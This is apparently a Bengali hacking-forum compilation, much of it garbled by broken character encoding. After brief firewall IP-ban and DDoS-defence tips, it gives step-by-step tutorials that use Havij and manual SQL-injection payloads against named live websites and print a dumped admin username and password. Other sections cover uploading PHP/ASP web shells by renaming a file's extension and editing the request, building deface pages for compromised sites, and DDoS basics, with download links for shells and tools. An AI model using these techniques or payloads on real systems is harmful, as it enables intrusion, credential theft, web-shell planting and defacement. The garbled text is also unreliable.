এফায অকত কতকবাচছফ অনায াবব ায সথচছক একটা অআকত সক ফযান কযচছফন hellip
মকতদ অনায াবব াচছয APF firewall আনসটর কযা থাচছক তচছফ CMD সত কতরখন
apf -d xxxxxxxx
মকতদ CSF firewall আনসটর কযা থাচছক তচছফ কতরখন
csf -d xxxxxxxx
অয মকতদ দচছটায একটা না থাচছক এফং অকতন মকতদ শধ iptables আউ কচছযন তচছফ কতরখন
iptables -I INPUT 1 -s -j DROP xxxxxxxx
উচছেখ এখাচছন xxxxxxxx এয সথচছর সম অআকত টা ফযান কযচছত চান তা ফচছফ
তচছফ ফচছর যাখা বার অকতন কতনচছজ ফভযআ াবব ায এ ফচছ থাকচছত াযচছফন না এফং এয যত ার এয খফয যাখচছত াযচছফন না
এয জনয অনাচছক অনায সাটিং এয উয কতনবব য কযচছত চছফ এভন কাচছযা কাছ সথচছক সাটিং কতনচছত চছফ মাযা ফভয সডকতডচছকচছটড ড যাটাক াচছাটব সদয
এছািা অচছযা কতগচছরা কতফলয অচছছ সমগচছরায উয সখযার যাখচছরআ াধাযন ড কতডড যাটাকচছথচছক ফাচচছত াযচছফন খফ চছজআ অন সদচছখ সনআ সগর সকভন
াবব ায সভকতন এয যকষা কতনকতশচত করন ফায অচছগ
চছনকভয সদখা মায যাকায যা সম াবব ায সক যাটাক কযচছত চায সটা সকআ ফায অচছগ সছাটট একটা নাননা ভননা সটরাজান কতদচছয ধযাাযী কচছয যাচছখ
পরাপর ড যাটাচছকয ভয াবব ায কতনচছজ কতনচছজয কতফরচছি কাজ কযা শর কচছয অনাচছক কতনকতশচত কযচছত চছফ াবব ায কতনচছজ সমন ফ কতদক সথচছক যকতকষত থাচছক
এযজনয মথা সকান সনোআব সথচছক সকান ডাটা টরানসপায কযচছফন না যকতকষত াআট ঘযাঘকতয কযচছফন না কতনকতশচত তর সথচছক পরাি সকান পাআর যাকতয চছনকযচছফন না
সকান সকান সাটব গচছরা চছন যাখা জরকতয তা সজচছন কতনন মথা পরচছযাজনীয সাটব সখারা সযচছখ ঝাচছভরা ফািাচছফন না
অনায সকান সকান াবব ায সাটব সখারা যাখা উকতচত তা সজচছন কতনচছত ভাআচছকরাপট এয Microsoft Knowledge Base (KB)
অটিব চছকর 150543 চছত সজচছন কতনন
httpsupportmicrosoftcomdefaultaspxscid=kben-us150543ampsd=tech
াচছযটিং কতচছেভ এয কতডপি কতকযকতযটি সথচছক চছফবারচ পাযদা কতনন
উআচছনডাজ াচছযটিং কতচছেভ ফযফায কযচছর কতচছেভ পাআর সচকতকং [ System File Checking ( SFC) ]
এফং আনটাযচছনট কাচছনকন পাযাযযার [ Internet Connection Firewall ( IFC ) ] এনাচছফর কচছয কতনন এগচছরা কতকনত কতডপি বাচছফ কতডজযাচছফর কযা থাচছক
এগচছরা অনায াবব ায কতচছেভ এয কতপিাকতযং াযপচছভবনস ঠাৎ কচছয ফহগন ফাকতিচছয কতদচছফ
কাচছনকটিকতবটি ককতভচছয কতদন
অনায াবব ায এয াচছথ সমাগাচছমাগ ফা কাচছনকন সথান কযায জনয খফ কতনকতদব ি কতকছ সাটব কতচছরকট কচছয কতদন মাচছত কচছয াবব ায
এফং কাচছনকটিং কতচছেভ দচছটাযআ পাযাযযার িণব ফযাায তা ধযচছত াচছয উদাযণ সবর HTTP SMTP FTP IMAP
এফং POP সাটব গচছরা কতচছরকট করন অনায াবব ায এয াচছথ কাচছনকন এয জনয কতনযধাকতযত সাটব গচছরা
এগচছরা চছনক যকতকষত এফং কতনকতশচত icon smile
পাযাযযার ফযফায করন
উআচছনডাজ এয পাযাযযার মচছথি বার কতকনত মবাি বার না এয জনয অকতন নয পাযায যার ফযফায কচছয সদখচছত াচছযন
এচছত কচছয আনফাউনড অউটফাউনড ফ ধযচছনয কাচছনকন এয উয খফ চছজআ অকতন সচাখ যাখচছত াযচছফন
এফং অনায কতচছেভ াবব ায যকষা সফচছি মাচছফ চছনক গচছন কতগর বার পাযাযযার এয ঠিকানা অকতভ এখাচছন কতদচছয কতদকতে সদচছখ কতনন
httpwwwsymanteccomindexjsp httpwwwsymanteccomindexjsp httpwwwzonealarmcom httpwwwcomodocom
এছািা DoS DDoS attack রযন এয াাময সনযা মায সমভন RioRey
সািটি - pirate_king এফং শভর অকাgtgtgtgtgtএয সাে সথচছক একতডট কযা চছযচছছ
heartsheartshearts Havij
SQLi টিউমটাসরো heartsheartshearts
Download
Havij 15 Pro httpwwwmediafirecoms7a89dxmfwxcyij
পরথচছভ GoogleCom এ মান
এফায কতনচছচয গগর ডকটি কতরচছখ াচব কতদন
inurlphpid=
তাচছর চছনকগচছরা পরাপর সদখাচছফ
এখাচছন চছনক Dork াচছফন httppastebincomDvnHxg7i
সদখন পরাপর সদখাচছে ldquoপরায 2010000000টি পরাপর(023 সচছকনড) rdquo
এফায সম সকান একটি াআচছট পরচছফ করন
এছািা অকতন সম সকান াআট ধযচছত াযচছফন সম ফ াআচছটয য phpid= অচছছ সআ ফ াআচছট াযচছফন সমভনঃ
httpwwwpaulprescottcomthemephpid=10
অভযা এআ াআটটিচছক টাচছগবট কযরাভ
এফায অনায টাচছগবট কযা াআচছটয কতরংচছকয সচছল সদচছখন এভন একটা অচছছ ID=XX এখাচছন XX এয জাযগায সমচছকান নং অচছছ সমভন অভায এখাচছন অচছছ ID=10
এফাযয এআ কতরংচছকয সচছল একটা ( lsquo ) রাগান
এফায এনটায কতদন
এফায মকতদ উচছযয ভচছতা Error সদখায তাচছর ফঝচছফন সম াআটটিচছত inject কযা মাচছফ
এফায ldquoHavijrdquo টরটা চছন করন তাচছর কতনচছচয ভচছতা অচছফ
এফায Error াযা াআটিয কতরংকটি এখাচছন সদন ldquoAnalyzerdquo ফাটচছন কতিক করন (উচছযয কতচতরটি সদখন) এফায কতকছকষণ চছকষা করন তাচছর টরটি চছযফাআটটি যীকষা কযচছফ
মকতদ কাজ য তাচছর এআ যকভ ভযাচছজ কতদচছফ
Current DB XXXX
কতনচছচয ছকতফটি সদখন
এফায ―Tables tab এ মান
এফায ―Get DBlsquos এ কতিক করন
এফায ফাভাচছয যাচছনচছর সদখন ২টা ডযাি পাআর াযা সগচছছ ―paul_third ―information_schema
দটা পাআর
―information_schema অনায ধযায দযকায নাআ এখাচছন MySQL তথয থাচছক
শধ ভাতর ―paul_third কতচছরকট করন
এফায ―Get Tables এ কতিক করন
তাচছর অকতন সটকতফচছরয ডযাি পাআরগচছরা সচছয মাচছফন
এখন অভযা administration panel টি যাক কযচছত সচিা কযফ
এখন ―admin table টি সচক করন
এখাচছন ভাতর ১ জনআ আউজায াচছফন মকতদ অকতন সকান আউজায না ান তাচছর অকতন এখাচছন যাক কযচছত াযচছফন না
এফায ―Get Columns ফাটচছন কতিক করন
তাচছর কতনচছচয ভচছতা অচছফ
এখাচছন ―id ―username ( সম Username কতদচছয চছযফাআচছট রগআন কচছয ) ―password ( সম Password কতদচছয চছযফাআচছট রগআন কচছয) ―email (এডকতভন সম সম আচছভআর কতদচছয সযকতজঃ কচছযচছছ কাজ কচছয)
এফায ―Get Data টযাচছফ কতিক করন
তাচছর টরটি অনাচছক Username Password আচছভআচছরয তথযগচছরা সদখাচছফ
অফায ―Find Admin টযাচছফ কতিক করন
তাচছর এটি অনাচছক Administration Panel login সদকতখচছয সদচছফ
এফায অকতন অনায কতবকটিচছভয চছযফাআটিয নাভ টাআ করন administration panel সফয কযায জনয
তচছফ ভচছন যাখচছফনphpid=XX অফায রাগাচছযন না
ldquoPath to Searchrdquo ফচছকস িণব URL টি কতরখচছফন
এফায ldquoStartrdquo ফাটচছন কতিক করন তাচছর অনাচছক Administration Panel login page টা সদখাচছফ
তাচছর অভযা Administration Panel সরাভ
এফায administration panel login সচছজ মান অচছগয াযা আউজায অআকতড াযাডব কতদচছয এডকতভন সজ রগআন করন
মপাষটটি সমেমেি -িসিববাসিত টিউিারtrade
সকান পটযযায ছািা SQL INJECT কচছয অনাচছদয বানবাফর াআট রাআব যাক কযা কতখাচছফা
তাচছর কথা না ফাকতযচছয শর ককতয
পরথচছভ SQL INJECT কযায জনয অভাচছদয বানবাফর াআট খজচছত চছফ
এয জনয অভযা dork use কযফ
inurlindexphpid= inurltrainersphpid=
inurlbuyphpcategory= inurlarticlephpID=
inurlplay_oldphpid= inurldeclaration_morephpdecl_id=
inurlPageid= inurlgamesphpid=
inurlpagephpfile= inurlnewsDetailphpid=
inurlgalleryphpid=
এআ খাচছন কতকছ dork অচছছ sql বানবাফর াআট খজায জনয
8500 SQL dorks list
httppastebincomdzknXjgP or
httppastebincomayV6tNS2
পরথভ এ একটা dork কতনচছয অভযাwwwgooglecom এ SEARCH কতদফ
inurlnews-and-eventsphpid=
এআ dork কতদযা SEARCH কতদচছয অকতভ চছনক াআট সদখরাভ সখান সথচছক অকতভ একটা াআট কতনরাভ
সমভন httpwwweastodissaacinnews-and-eventsphpid=22
ছকতফঃ
পরথচছভ SQL INJECT কযায জনয াআচছটয ID সবরয খজচছত য
এযয অনাচছক সদখচছত চছফ াআট টি injectable কতকনা
এয জনয অনাচছক url এয সচছল একটি lsquo ফাচছত চছফ
httpwwweastodissaacinnews-and-eventsphpid=22
মকতদ ডাটাচছফচছজয কতকছ কতভকতং অচছ ফা সচছজয কতকছ আযয অচছ তাচছর ফঝচছফন াআট টি injectable
সমভন ldquoYou have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the
right syntax to use near rdquorsquo at line 1Prime
ছকতফঃ
এখন injectable াআচছট inject কযায জনয অনাচছক পরথচছভ ডাটাচছফচছজয করাভ সফয কযচছত চছফ
এখাচছন অভাচছদয বানবাফর াআট
httpwwweastodissaacinnews-and-eventsphpid=22
মাআ সাক অভাচছদয ডাটাচছফচছজয করাভ সফয কযচছত চছর +order+by+ কভানড কতদচছত চছফ
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+
এখন + এয সচছল অনাচছক 1 সথচছক শর কচছয তত মবনত সচিা কযচছত চছফ
এখন 1 কতনচছয সদচছখন
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+1--
না তাচছর াআচছট সকাচছনা ডাটা কতভ কযচছতচছছ না
অফায 2 কতদচছয সচিা ককতয
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--
ছকতফঃ
না এফায ডাটা কতভ কযচছতচছছ না
এফাচছফ 345 কচছয 7 মবনত সগরাভ
8 এ সগচছর চছযা াআট SQL আযয সদখায
(চছনক ভয সদখা মায
wwwsitecomindexphpid=1 order 999ndash [ no error ]
থবাৎ order by 999 কতদচছর সকান error সদখায না
এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ
তাচছর িণব কতরেটি চছফ
wwwsitecomindexphpid=1prime order by 999ndash+
এফায সচছজ error সদখাচছফ
ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--
ছকতফঃ
আযয এযকচছভয চছত াচছয
Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo
থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি
এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ
কভানড টি
+union+select+1234567--
তাচছর কতরংক টি দািাচছফ
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--
ছকতফঃ
( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (
এখন অকতন বানবাফর করাভ সদখচছত াচছফন
এআ াআচছটয বানবাফর করাভ 23সদখাচছফ
এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা
এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা
এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ
এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--
ছকতফঃ
এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা
এটায বাবন 5168-community
বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন
এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ
এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য
+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা
তাচছর কতরংকটি দািাচছরা
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem
a=database()--
কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন
ছকতফঃ
এআ াআচছটয সটকতফর গচছরা র
est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio
nest_placementrecord
এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ
এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায
একভাতর est_admin এডকতভন সটকতফর ভচছন য
ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ
কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ
এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ
এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায
httpsaddonsmozillaorgen-USfirefoxaddonhackbar
এখন যাকফায টি চছন কচছযন F9 সচচছ
এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন
ছকতফঃ
নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন
ছকতফঃ
এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH
AR(101 115 116 95 97 100 109 105 110)--
ছকতফঃ
অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন
সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ
uiduseridpasswordemailidsignaturelast_login
এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা
এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ
এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা
সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন
করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ
এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ
এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ
+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--
ছকতফঃ
সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন
এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013
আউজাযচছভভ trustadmin
াযাডব isti$$952013
এখন সল কাজ চছে এডকতভন সচছনর সফয কযা
এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ
মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন
-httpscansubhashdasyamcomadmin-panel-finderphp
অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয
অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন
তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন
httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player
কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না
অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না
কতরচছখচছছনঃ ফারক িঅহমমদ
অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ
াগমবিঃ
Mozilla Firox ভকতজরা পাযাযপকস
Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক
httpsaddonsmozillaorgenfirefoxaddonlive-http-headers
shell সম সকান সর ফযফায কযচছত াচছযন
কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell
httpwwwpastebucketcom19852
or
wwwmediafirecom64fjdlvzo9zhrra
shell username and password
username I-47
password I-47
তাহম এেি শর কসর
১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর
করণ
২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg
৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ
৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন
৫save click কচছযন
৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন
১এখন কতিক করন 47phpjpgচছয কতিক করণ
২ Reply ফাটন
৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত
৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক
২ Reply ফাটন
এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ
এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ
wwwsitecomgallery37473jpg
এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php
এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ
Video Tutorial
httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube
কতরচছখচছছনঃ ফারক িঅহমমদ
কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা
--==DefacePage Generator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন
১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r
২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন
সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif
৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন
এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave
as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files
কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml
--==Advance Deface Page Creator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
Tutorial -
পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন
এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ
এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ
এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন
Add Homepage title and texts এ কতিক করন
এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন
সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন
সরখা সল চছর চছক কচছয কতদন
এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন
সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html
--==অকতনমকতদ HTML াচছযন==--
অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন
Collection -bcaware
httpwwwtunerpagecomarchives78980
httpwwwtunerpagecomarchives98804
httpwwwtunerpagecomarchives219088
httpwwwtunerpagecomarchives224434
---------------------------------------------------------------------------------------
---------------------------------------------------------------------------------
1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ
2 Collection of Important Programming Languages E-books
httpwwwfacebookcomdownload290805637728289Collection20of20Important2
0Programming20Languages20Erar
3 Collection of best SQL injection Tools
পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ
অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন
পারক অচছভদ
wwwfacebookcommdfaroqueahmed
Mystrious Tusin
wwwfacebookcomcyb3rc0d3
কতনচছজয নাচছভ একটি ফলযা(swf) Animation ফাকতনচছয Upload কচছয দাফযা এআখান সথচছক জাবাকতিপটটা ডাউনচছরাড কচছয কতনন httpwwwmediafirecomirruu15qetlebuj gtgtএফাযঅকত নযবাচছফgtgt অচছগয ভতআ STOP পরজনত অন তাযয নতন অনটি সত কতিক কচছয একটা সর অচছরাড কয এখান সথচছক ASP সরটি ডাউনচছরাড করন httpwwwmediafirecomdownloadroi2g28hhyi0r6xaspydrvzip তাযয অচছরাড কয
কতকনত অনাচছক যাকতয ASP পাআর অচছরাড কযচছত কতদচছফ না এআ জনয কতটরক ফযাফায কযচছত চছফ সতাভায
সর টা কতযচছনভ কচছয কতরখন marufaspjpg এখন অচছরাড কচছয সদখন অচছরাড কযচছত কতদচছে অনাচছক ফযআ ASP সর ফযাফায কযচছত চছফ PHP সর কতকনত কাজ কযচছফ না সর অচছরাড চছযচছগচছর এআখাচছন মান httpকতবকতকটভcomportals0marufaspjpg ―কতবকতকটভ এয জাযগায সতাভায Hackable াআচছটয নাভ কতরখচছফতাযয সচছয মাচছফ সর একচছ আযা আযা হযা াআট সতাভায কটরচছর সতভন কষকতত কযচছফ না অয মাযা একট Advance তাযা Backconnect কতদচছয াবব ায Root কচছয সপর কতবকতড সদখন httpwwwyoutubecomwatchv=3KVi3_Fkkww
কতরখাটি একতডট কযা চছযচছছ ভারপ অরভ P1n1X_Cr3w সাে সথচছক
ফযাকতক যাকতকং-১২ -DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ
কতকবাচছফ DdoS যাটাক কযফ
পরথভ পরশন DoS কতজকতন টা কতক DDoS এফং DoS কতক একআ কতজকতন
DoS এয কতযণব র চছে Denial of Service DoS যাটাক এ একটা কতকত থফাএকটা আনটাযচছনট কাচছনকন [ যাটাকায ] সথচছক একটা কতনকতদব ি াবব ায [কতবকটিভ ] এ নফযত [ ফলাকতডং ] TCP UDP যাচছকট াঠাচছনা য
এচছত কচছয আ কতনকতদব ি াবব ায এয ফযানডউআথ এফং নযানয ফকতকছ বাযচছরাড চছযমায পরাপর এয য সমআ আ াবব ায এ কাচছনকন কযায সচিা কযচছফ তাচছকআ াবব ায াকতবব সদযা সথচছক কতফযত থাকচছফ
থবাৎ সাজাকতজ Denial of Service চছফ াবব ায সথচছক
এফায DDoS এটায ণব র চছে Distributed Denial of Service ফযাায টা এবাচছফ কতচনতা করন hellip অকতন যাসতা কতদচছয সচছট মাচছেন ঠাৎ কচছয অনাচছকএকজন কতছনতাআকাযী অকরভন কযচছরা
এখন অকতন মকতদ গাচছয গতচছয তায সথচছক একট কতিারী চছয থাচছকন এফং বাগয খাকতনক টা পরনন চছয থাকচছর অকতন উরচছটাআ কতছনতাআকাযী সক কতটিচছয তিা ফাকতনচছয কতদচছয াচছযন
কতকনত মকতদ অনাচছক ১ জচছনয জাযগা সত ১০ -১২ জন অকরভন কচছয
১৫ কতদন য াাতার সথচছক ছািা াচছফন ঠিক এযকভ ফযাায আ চছে DDoS DoS এয ভত কচছযআ কাজ কচছয কতকনত DDoS এ চছনক সফী যাটাকায একাচছথ কাজ কচছয পরাপর বযাফ
অভায কথাফাতব া কতক একট উদভট রাগচছছ S এতখন মা ফররাভ তা কতক দচছফবাধয রাগচছছ তাচছর কতনচছচয কতচতরগচছরা সদখন ফচছঝ জাচছফন কতকবাচছফ DoS এফং DDoS কতকবাচছফকাজ কচছয
একটা াধাযণ কাচছনকন কাজ কচছয এআ বাচছফ কতনচছচয কতচচছতরয ভত কচছয
কতকনত DoS যাটাক টা চছে কতনচছচয ভত
অয DDoS যাটাক চছে কতনচছচয কতচচছতরয ভত
D0S DDoS attack এয কাযন কতক
২ টা কাযচছন DoSDDoS যাটাক চছয থাচছক ১) যাকায এয কভতরচছফ থফা ২) sysadmin এয বার ভতরফ এ
অন সদচছখ সনআ সক কতক কাযচছন যাটাক কচছয থাচছক
১) যাকাযচছদয কভতরফ
খফআ নাটকীয উাচছয আ াবব ায এ কতনচছজয কতডকতজটার পটকতপরনট ঢাকায জনয আ াবব ায সক সফাকা ফানানয উচছেচছ
ফ সথচছক যাতন ভানকতফক সদাল যাগ থফা সকরাধ সথচছক কতফনা কাযচছন
যত যাকায আ াবব ায এ একটা সটরাজান আনসটর কচছযচছছ কতকনত তা একটিব কযচছত একটা কতযোটব রাগচছফ তায জনয এআ যাটাক
থফা শধ ভাতর একজন কতিপট কতককতড কতনচছজয ভকতনসযানা সদখাচছনায জনয
থফা কতনতানতআ পরযাকটি এয উচছেচছ
২) sysadmin এয বার ভতরফ
নতন সকান যাচ অচছডট থফা আনসটর কযা চছর তায কতসথকততীরতা যীকষা কযায উচছেচছ
াবব ায এফং কতচছেভ এয বারনাকতফকতযকতরটি ফা বেযতা সক যীকষা কযায উচছেচছ
কতচছেভ এয যানযাচছয সপরাগরাভ এয তরটিয কাযচছন
DoS DDoS কতকবাচছফ াবব ায এয ১২ টা ফাজায
DoS DDoS াধাযনত ২ বাচছফ াবব ায এয কষকতত কচছয থাচছক ১) াবব ায সক করযা ককতযচছয ২) াবব ায সক ফলাড ককতযচছয
ড যাটাক এয কভন কামবপরণারী গচছরা চছে -
কতফকতবনন যকভ কতযচছাব গচছরা সমভন ফযানডউআথ পরচছয টাআভ কতডসক সসপ আতযাকতদ ফযসত যাখা
কনকতপগাচছযন আনপচছভবন সমভন রটিং আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা
সেট আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা
কতপকতজকার সনটযাকব এয কতফকতবনন ং গচছরাচছক ফযাত কচছয কতফঘন কযা
